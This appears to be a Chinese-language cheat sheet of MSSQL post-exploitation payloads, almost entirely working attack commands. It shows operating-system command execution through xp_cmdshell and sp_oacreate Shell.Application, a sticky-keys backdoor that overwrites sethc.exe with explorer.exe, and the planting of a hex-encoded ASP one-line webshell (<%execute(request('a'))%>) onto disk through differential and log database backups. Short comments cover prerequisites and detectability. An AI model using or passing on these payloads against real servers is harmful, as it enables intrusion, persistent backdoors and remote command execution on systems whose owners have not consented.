select name from master.sys.sysdatabases; select * from master.sys.sysprocesses where dbid= db_id('sqlinject'); exec master..xp_cmdshell 'cmd /c ping desktop-xxxx\anz';
Shell.Application执行命令 declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
复制文件 declare @o int exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'
shift粘滞键替换,很容易被检测出来
1 2 3 4 5 6
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
backup database DB_Name to disk='目标文件路径/目标文件名.bak' # 将需要备份的数据库进行备份 create table aaanz(test image) # 创建临时表,随便添加一个字段,用来存放木马 insert into aaanz values(0x3C25657865637574652872657175657374282261222929253E) # 将木马插入表中(values的值为<%execute(request("a"))%>的十六进制) backup database DB_Name to disk='目标文件路径/目标文件名.asp' with differential,format;-- # 重新备份,木马就会写入文件
LOG备份
要求数据库备份过,而且选择的恢复模式是完整模式,可以用sa权限设置恢复模式
1 2
BACKUP DATABASE anz TO DISK='C:\aaanz.bak'
优势就是备份文件很小
1 2 3 4 5 6
alter database db_name set RECOVERY FULL
create table cmd (a image) backup log db_name to disk = 'c:\aaanz.bak' with init //使用init初始化备份,会覆盖旧备份文件 insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) backup log db_name to disk = 'c:\random\1.asp'